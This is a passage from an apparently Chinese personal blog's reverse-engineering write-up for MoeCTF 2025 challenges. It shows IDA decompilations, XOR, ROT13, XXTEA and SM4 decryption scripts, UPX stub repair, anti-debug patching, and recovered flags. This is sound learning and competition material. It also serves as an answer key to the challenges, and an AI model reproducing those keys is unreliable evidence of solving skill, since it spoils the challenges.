  __int64 v5; // rax
  __int64 v6; // rax
  __int64 v8; // [rsp+8h] [rbp-68h]
  char v9; // [rsp+17h] [rbp-59h] BYREF
  int i; // [rsp+18h] [rbp-58h]
  int v11; // [rsp+1Ch] [rbp-54h]
  __int64 v12; // [rsp+20h] [rbp-50h] BYREF
  __int64 v13; // [rsp+28h] [rbp-48h] BYREF
  _BYTE v14[40]; // [rsp+30h] [rbp-40h] BYREF
  __int64 v15; // [rsp+58h] [rbp-18h]

  if ( v0 )
  {
    v1 = std::operator<<<std::char_traits<char>>((std::ostream *)&std::cout);
    std::ostream::operator<<(v1, std::endl<char,std::char_traits<char>>);
  }
  else
  {
    ((void (__fastcall *)(char *))std::allocator<char>::allocator)(&v9);
    v13 = std::string::end();
    v2 = ((__int64 (__fastcall *)(__int64 *, __int64))__gnu_cxx::__normal_iterator<char *,std::string>::operator-)(
           &v13,
           1LL);
    v12 = std::string::begin();
    v3 = ((__int64 (__fastcall *)(__int64 *, __int64))__gnu_cxx::__normal_iterator<char *,std::string>::operator+)(
           &v12,
           7LL);
    ((void (__fastcall *)(_BYTE *, __int64, __int64, char *))std::string::basic_string<__gnu_cxx::__normal_iterator<char *,std::string>,void>)(
      v14,
      v3,
      v2,
      &v9);
    ((void (__fastcall *)(__int64, _BYTE *))std::string::operator=)(v8, v14);
    std::string::~string(v14);
    std::allocator<char>::~allocator(&v9);
    v11 = ((__int64 (__fastcall *)())std::string::length)();
    if ( v11 == 32 )
    {
      for ( i = 0; i < v11; ++i )
      {
        v4 = (char *)((__int64 (__fastcall *)(__int64, _QWORD))std::string::operator[])(v8, i);
        if ( (unsigned int)encode(*v4) != enc[i] )
          goto LABEL_10;
      }
      if ( !enc[v11] )
      {
        v6 = std::operator<<<std::char_traits<char>>((std::ostream *)&std::cout);
        std::ostream::operator<<(v6, std::endl<char,std::char_traits<char>>);
        JUMPOUT(0x404AC3LL);
      }
    }
LABEL_10:
    v5 = std::operator<<<std::char_traits<char>>((std::ostream *)&std::cout);
    std::ostream::operator<<(v5, std::endl<char,std::char_traits<char>>);
  }
  return v15 - __readfsqword(0x28u);
}

encode()逻辑很简单:

1
2
3
4
5
6
7
__int64 __fastcall encode(int a1)
{
  int v1; // eax

  v1 = key++;
  return a1 ^ (unsigned int)v1;
}

key不断++然后和enc异或就是我们的值,但是一开始的输出
moectf{l>|9|5tEPkSjE7hU=f=Uk"k%?GIOe5i}这是什么东西??后来发现

alt text

开头的时候拿key和0xa异或了一下,这个得看汇编,所以要注意一下啊

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>

int main() {
    unsigned char enc[32] = {
        0x4F, 0x1A, 0x59, 0x1F, 0x5B, 0x1D, 0x5D, 0x6F,
        0x7B, 0x47, 0x7E, 0x44, 0x6A, 0x07, 0x59, 0x67,
        0x0E, 0x52, 0x08, 0x63, 0x5C, 0x1A, 0x52, 0x1F,
        0x20, 0x7B, 0x21, 0x77, 0x70, 0x25, 0x74, 0x2B
    };

    unsigned char key_start = 0x23^0xa;
    unsigned char ch;

    printf("moectf{");

    for (int i = 0; i < 32; i++) {
        ch = enc[i] ^ (key_start + i);
        fwrite(&ch, 1, 1, stdout);
    }
    printf("}");

    return 0;
}

week2

catch

刚开始有一个栅栏加密的假flag 用try-catch块导致反编译无法识别,


原本是catch块的地方重新定义函数到catch-end就可以反编译

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// positive sp value has been detected, the output may be wrong!
void __fastcall catch_block(void *a1, __int64 a2)
{
  char *v2; // rdx
  int v3; // [rsp+34h] [rbp-Ch]
  int v4; // [rsp+38h] [rbp-8h]
  int i; // [rsp+3Ch] [rbp-4h]

  _cxa_begin_catch(a1);
  v3 = strlen((const char *)a1);
  for ( i = 0; i < v3; ++i )
  {
    v4 = (unsigned __int8)solve(void)::hidesuwa[i];
    if ( islower((int)a1) )
    {
      v4 = (v4 - 84) % 26 + 97;
    }
    else if ( isupper((int)a1) )
    {
      v4 = (v4 - 52) % 26 + 65;
    }
    v2 = solve(void)::hidesuwa;
    solve(void)::hidesuwa[i] = v4;
  }
  printf((const char *)a1, a2, v2, "so you didn't catch me?\n");
  _cxa_end_catch();
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
encrypted = "zbrpgs{F4z3_Ge1px_jvgu_@sybjre_qrfhjn}"
decrypted = []

for c in encrypted:
    if c.islower():
        decrypted_char = chr((ord(c) - ord('a') + 13) % 26 + ord('a'))
    elif c.isupper():
        decrypted_char = chr((ord(c) - ord('A') + 13) % 26 + ord('A'))
    else:
        decrypted_char = c
    decrypted.append(decrypted_char)

print("".join(decrypted))  
# moectf{S4m3_Tr1ck_with_@flower_desuwa}

upx_revenge

stub中缺少了了解压用的upx!(自己加密一个就知道了)

alt text
010右下角切为插入模式,在解压算法数据前加入upx!的签名(比如0d开头就是这里)
然后就可以运行了
alt text
IDA里找到这里,对传入的base64进行换表后加密,换表即对每个字符xor 0xe
alt text

使用的是URL base64,换表后base64解密
alt text

moectf{Y0u_Re4l1y_G00d_4t_Upx!!!}

two_cups_of_tea

由v12的key数组生成,可以写xtea解密也可以dump出来 断点打在main函数return0前,可以看见

用lazyIDA convert dump出来
这就是密钥

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
__int64 __fastcall xxtea(unsigned int *a1, __int64 a2, __int64 a3)
{
  unsigned int v3; // r9d
  int v4; // r11d
  unsigned int v5; // edx
  unsigned int v6; // esi
  unsigned int v7; // ebp
  unsigned int v8; // r14d
  unsigned int v9; // r15d
  unsigned int v10; // r12d
  unsigned int v11; // r13d
  unsigned int v12; // ebx
  unsigned int v13; // ecx
  int v14; // edi
  int v15; // ebx
  __int64 v16; // r10
  int v17; // r11d
  int v18; // eax
  bool v19; // zf
  __int64 result; // rax
  unsigned int v21; // [rsp+0h] [rbp-58h]
  unsigned int v22; // [rsp+4h] [rbp-54h]
  int v23; // [rsp+8h] [rbp-50h]
  int v25; // [rsp+68h] [rbp+10h]
  __int64 v26; // [rsp+70h] [rbp+18h]
  unsigned int v27; // [rsp+78h] [rbp+20h]

  v26 = a3;
  v3 = a1[9];
  v4 = 0;
  v5 = a1[8];
  v6 = a1[1];
  v7 = a1[2];
  v8 = a1[3];
  v9 = a1[4];
  v10 = a1[5];
  v11 = a1[6];
  v12 = *a1;
  v13 = a1[7];
  v27 = v5;
  v22 = v3;
  v23 = 11;
  while ( 1 )
  {
    v25 = v4 - 0x61C88647;
    v14 = *(_DWORD *)(a3 + 4LL * (((unsigned int)(v4 - 0x61C88647) >> 2) & 3));
    v21 = v12 + ((((16 * v3) ^ (v6 >> 3)) + ((v3 >> 5) ^ (4 * v6))) ^ (((v4 - 0x61C88647) ^ v6) + (v14 ^ v3)));
    v15 = *(_DWORD *)(v26 + 4 * (((unsigned int)(v4 - 0x61C88647) >> 2) & 3 ^ 1LL));
    v6 += ((v21 ^ v15) + ((v4 - 0x61C88647) ^ v7)) ^ (((16 * v21) ^ (v7 >> 3)) + ((v21 >> 5) ^ (4 * v7)));
    v16 = ((unsigned int)(v4 - 0x61C88647) >> 2) & 3 ^ 3LL;
    v17 = *(_DWORD *)(v26 + 4 * (((unsigned int)(v4 - 0x61C88647) >> 2) & 3 ^ 2LL));
    v7 += ((v6 ^ v17) + (v25 ^ v8)) ^ (((16 * v6) ^ (v8 >> 3)) + ((v6 >> 5) ^ (4 * v8)));
    v8 += ((v25 ^ v9) + (v7 ^ *(_DWORD *)(v26 + 4 * v16))) ^ (((16 * v7) ^ (v9 >> 3)) + ((v7 >> 5) ^ (4 * v9)));
    v9 += ((v8 ^ v14) + (v25 ^ v10)) ^ (((16 * v8) ^ (v10 >> 3)) + ((v8 >> 5) ^ (4 * v10)));
    v10 += ((v9 ^ v15) + (v25 ^ v11)) ^ (((16 * v9) ^ (v11 >> 3)) + ((v9 >> 5) ^ (4 * v11)));
    v18 = (v10 ^ v17) + (v25 ^ v13);
    v4 = v25;
    v11 += v18 ^ (((16 * v10) ^ (v13 >> 3)) + ((v10 >> 5) ^ (4 * v13)));
    v13 += ((v11 ^ *(_DWORD *)(v26 + 4 * v16)) + (v25 ^ v27)) ^ (((16 * v11) ^ (v27 >> 3)) + ((v11 >> 5) ^ (4 * v27)));
    v27 += ((v13 ^ v14) + (v25 ^ v22)) ^ (((16 * v13) ^ (v22 >> 3)) + ((v13 >> 5) ^ (4 * v22)));
    v3 = (((v27 ^ v15) + (v25 ^ v21)) ^ (((16 * v27) ^ (v21 >> 3)) + ((v27 >> 5) ^ (4 * v21)))) + v22;
    a3 = v26;
    v19 = v23-- == 1;
    v22 = v3;
    if ( v19 )
      break;
    v12 = v21;
  }
  result = v13;
  a1[1] = v6;
  a1[2] = v7;
  a1[3] = v8;
  a1[4] = v9;
  a1[5] = v10;
  a1[6] = v11;
  a1[7] = v13;
  a1[8] = v27;
  a1[9] = v3;
  *a1 = v21;
  return result;
}

是一个xxtea加密,v23为11轮,但是中间的加密过程拆开写了,这里有一点要注意,-0x61c88647要加上补码即0x9e3779b9 写xxtea模板解密即可,没有魔改

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// Recover flag in C
// gcc -O2 -std=c11 -o solve solve.c
#define DELTA 0x9e3779b9 // 补码
#include <stdint.h>
#include <stdio.h>

static inline uint32_t U32(uint64_t x) { return (uint32_t)(x & 0xFFFFFFFFu); }

#define MX                                                                     \
  (((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4)) ^                                   \
   ((sum ^ y) + (key[(p & 3) ^ e] ^ z)))

void btea(uint32_t *v, int n, uint32_t const key[4]) {
  uint32_t y, z, sum;
  unsigned p, rounds, e;
  rounds = 6 + 52 / n;
  sum = rounds * DELTA;
  y = v[0];

  do {
    e = (sum >> 2) & 3;
    for (p = n - 1; p > 0; p--) {
      z = v[p - 1];
      y = v[p] -= MX;
    }
    z = v[n - 1];
    y = v[0] -= MX;
    sum -= DELTA;
  } while (--rounds);
}

int main(void) {
  uint32_t key[4] = {0x63656F6D, 0x21216674, 0x12345678, 0x9ABCDEF0};
  uint32_t v[] = {0x5D624C34, 0x8629FEAD, 0x9D11379B, 0xFCD53211, 0x460F63CE,
                  0xC5816E68, 0xFE5300AD, 0x0A0015EE, 0x9806DBBB, 0xEF4A2648};
  btea(v, 10, key);
  char *flag = (char *)v;

  for (int i = 0; i < 40; i++)
    printf("%c", flag[i]);

  return 0;
}

week3及之后(大概吧

ezandroid

Androidmanifest进去就能看到是base64加密,cyberchef即可

ez_windows

在ida中找到窗口消息处理部分

alt text

.lpfnWndProc部分为我们的窗口信息处理函数

这里对应命令处理分支,也就是窗口左上角的各个对应框架。在DialogFunc存在关键部分

1
v23[v14] = String[v14] ^ 0x2A;  // 每个字符与0x2A异或

下面存在密文的比较

1
2
3
4
5
6
7
8
    do
      {
        v16 = *(unsigned __int16 *)((char *)v15 + (char *)aGeoiLqbj - (char *)v23);
        v17 = *v15 - v16;
        if ( v17 )
          break;
        ++v15;
      }

v16会取出aGeoiLqbj中的低三十二位字节,而高三十二位在实际地址中就是0不用管,因此直接写解密脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
encrypted_bytes = [
    0x47, 0x45, 0x4F, 0x49, 0x5E, 0x4C, 0x51, 0x62,
    0x6A, 0x5c, 0x1e, 0x75, 0x4C, 0x7F, 0x44, 0x57
]

# 解密(每个字节与0x2A异或)
password = ""
for byte in encrypted_bytes:
    if byte != 0:  # 忽略末尾的null
        decrypted = byte ^ 0x2A
        password += chr(decrypted)

print("解密后的密码:", password)

ezandroid_pro

main中通过native层调用了c++的libezandroidpro


将app改为压缩包解压后在libs-arm64下找到,根据命名格式搜索
Java_com_example_ezandroidpro_MainActivity_check

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
bool __fastcall Java_com_example_ezandroidpro_MainActivity_check(__int64 a1, __int64 a2, __int64 a3)
{
  const char *v5; // x0
  const char *v6; // x21
  size_t v7; // x0
  size_t v8; // x22
  char *v9; // x23
  _BOOL4 v10; // w20
  unsigned __int64 v11; // x24
  char *v12; // x19
  __int64 *v13; // x10
  unsigned __int64 v14; // x9
  unsigned __int8 *v15; // x10
  char *v16; // x11
  int v17; // w12
  int v18; // w13
  void *v19; // x21
  void *v21[2]; // [xsp+0h] [xbp-50h] BYREF
  void *s1; // [xsp+10h] [xbp-40h]
  void *v23[3]; // [xsp+18h] [xbp-38h] BYREF
  _QWORD v24[2]; // [xsp+30h] [xbp-20h] BYREF
  void *v25; // [xsp+40h] [xbp-10h]
  __int64 v26; // [xsp+48h] [xbp-8h]

  v26 = *(_QWORD *)(_ReadStatusReg(TPIDR_EL0) + 40);
  v5 = (const char *)(*(__int64 (__fastcall **)(__int64, __int64, _QWORD))(*(_QWORD *)a1 + 1352LL))(a1, a3, 0);
  if ( !v5 )
    return 0;
  v6 = v5;
  v7 = strlen(v5);
  if ( v7 >= 0xFFFFFFFFFFFFFFF0LL )
    std::__basic_string_common<true>::__throw_length_error(v24);
  v8 = v7;
  if ( v7 >= 0x17 )
  {
    v11 = (v7 + 16) & 0xFFFFFFFFFFFFFFF0LL;
    v9 = (char *)operator new(v11);
    v24[1] = v8;
    v25 = v9;
    v24[0] = v11 | 1;
    goto LABEL_8;
  }
  v9 = (char *)v24 + 1;
  LOBYTE(v24[0]) = 2 * v7;
  if ( v7 )
LABEL_8:
    memcpy(v9, v6, v8);
  v9[v8] = 0;
  (*(void (__fastcall **)(__int64, __int64, const char *))(*(_QWORD *)a1 + 1360LL))(a1, a3, v6);
  strcpy((char *)v23, " moectf2025!!!!!!");
  v12 = (char *)operator new(0x70u);
  strcpy(v12, "4EEB1EEF2914D79BFA8C5006332097ED2EF06C4A59CAE31C827A08D45CC649C0B971BF2EFBCB160E531A646DF7A6AC0B");
  sm4Encrypt(v21, v24, v23);
  v13 = (__int64 *)v21[1];
  v14 = (unsigned __int64)LOBYTE(v21[0]) >> 1;
  if ( ((__int64)v21[0] & 1) == 0 )
    v13 = (__int64 *)((unsigned __int64)LOBYTE(v21[0]) >> 1);
  if ( v13 == &qword_60 )
  {
    if ( ((__int64)v21[0] & 1) != 0 )
    {
      v19 = s1;
      v10 = memcmp(s1, v12, 0x60u) == 0;
      goto LABEL_21;
    }
    v15 = (unsigned __int8 *)v21 + 1;
    v16 = v12;
    do
    {
      v17 = *v15;
      v18 = (unsigned __int8)*v16;
      v10 = v17 == v18;
      if ( v17 != v18 )
        break;
      --v14;
      ++v15;
      ++v16;
    }
    while ( v14 );
  }
  else
  {
    v10 = 0;
  }
  if ( ((__int64)v21[0] & 1) != 0 )
  {
    v19 = s1;
LABEL_21:
    operator delete(v19);
  }
  operator delete(v12);
  if ( ((__int64)v23[0] & 1) != 0 )
    operator delete(v23[2]);
  if ( (v24[0] & 1) != 0 )
    operator delete(v25);
  return v10;
}

SM4加密ecb模式,密文直接给了,密钥就是moectf2025!!!!!! 反向解密即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
from gmssl.sm4 import CryptSM4, SM4_DECRYPT
from binascii import unhexlify

def CLEAR_TEXT(x, code=32):
    return f"\x1b[{code}m{x}\x1b[0m"

key = b"moectf2025!!!!!!"
cipher_hex = "4EEB1EEF2914D79BFA8C5006332097ED2EF06C4A59CAE31C827A08D45CC649C0B971BF2EFBCB160E531A646DF7A6AC0B"
cipher_bytes = unhexlify(cipher_hex)

crypt_sm4 = CryptSM4()
crypt_sm4.set_key(key, SM4_DECRYPT)
plain = crypt_sm4.crypt_ecb(cipher_bytes)
print(CLEAR_TEXT(f"[+] Decrypted:{plain}"))

2048

在线程分支存在检测当前文件夹下有无flag.txt来触发分支进入(注意而且要有37个字符)

alt text
继续进入,sub_401a81中的sub_401530是一个修改了xxtea的魔数的算法
alt text
在x64dbg中dump出xxtea算法的key
alt text

然后写解密即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <stdio.h>
#include <stdint.h>
#define DELTA 0x3E9779B9//-0x61C88647 补码
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))
void xxtea(uint32_t *v, int n, uint32_t const key[4])
{
    uint32_t y, z, sum;
    unsigned p, rounds, e;
        rounds = 6 + 52/n;
        sum = rounds*DELTA;
        y = v[0];
        do
        {
            e = (sum >> 2) & 3;
            for (p=n-1; p>0; p--)
            {
                z = v[p-1];
                y = v[p] -= MX;
            }
            z = v[n-1];
            y = v[0] -= MX;
            sum -= DELTA;
        }
        while (--rounds);
}

int main()
{
    uint32_t v[]={
0xCC777935,0x3441131B,0x919FFFF9,0x78945BFF,0xAEAF2A86,0x4D319ED7,0x51A5C47A,0x446ED9D1,0x1B865218,0x63C98A42
    };
    uint32_t const k[4]= {0x38343032,0x7473616d,0x30327265,0x616d3834};
    int n= 10;
    xxtea(v, n, k);
    char *flag=(char*)v;
    for (int i=0;i<40;i++) printf("%c",flag[i]);
    return 0;
}

guess

DIE看一眼

alt text

运行程序可以输入十次
alt text

编译失败,发现有互补跳转指令
alt text

nop掉,出现一大坨c++代码
alt text
如果我们输入的数字=v33,那么会直接输出flag,那么反过来patch一下就可以输错也得到flag
alt text

a simple program

alt text

DIE查看
flag并非在主函数里
alt text

发现下面有一串类似密文的字节串,跟踪一下
alt text

好像是一个加密函数?实际上是一个TLS的反调试,如果动调就能找到
alt text

alt text

初始化API hook后,拦截掉原本的C库函数,使用自己的函数进行校验
在下面的TLS回调分支进行了两个经典反调试检测 如果检测到调试器存在直接破坏程序内存而崩溃,所以我们找到的函数实际上就是自定义的strncmp函数,其中是真的flag逻辑

1
2
3
encode=[0x4e, 0x4c, 0x46, 0x40, 0x57, 0x45, 0x58, 0x7a, 0x13, 0x56, 0x7c, 0x73, 0x17, 0x50, 0x50, 0x66, 0x47, 0x2, 0x2, 0x5e]  
for i in range(len(encode)):
    print(chr(encode[i]^0x23),end='')

rusty_sudoku

main函数非常的长,我们先运行程序看看

alt text

可以看出输入的格式要求为9*9,也就是81个字符(sudoku是数读啊…)
alt text
这里给出了范式
alt text

刚好是91个字符,也就是说我们要按照这里来填写数独
alt text
也就是这样,在网站 进行快速解题(你也可以自己来)
alt text
如图得到答案
369184572185327694274956831632879415897541263541632789756213948918465327423798156
alt text

看起来是md5的flag(

本博客已稳定运行
发表了52篇文章 · 总计20万3千字

浙ICP备2024137952号 『网站统计』

𝓌𝒶𝒾𝓉 𝒻ℴ𝓇 𝒶 𝒹ℯ𝓁𝒾𝓋ℯ𝓇𝒶𝓃𝒸ℯ
使用 Hugo 构建
主题 StackJimmy 设计
⬆️该页面访问量Loading...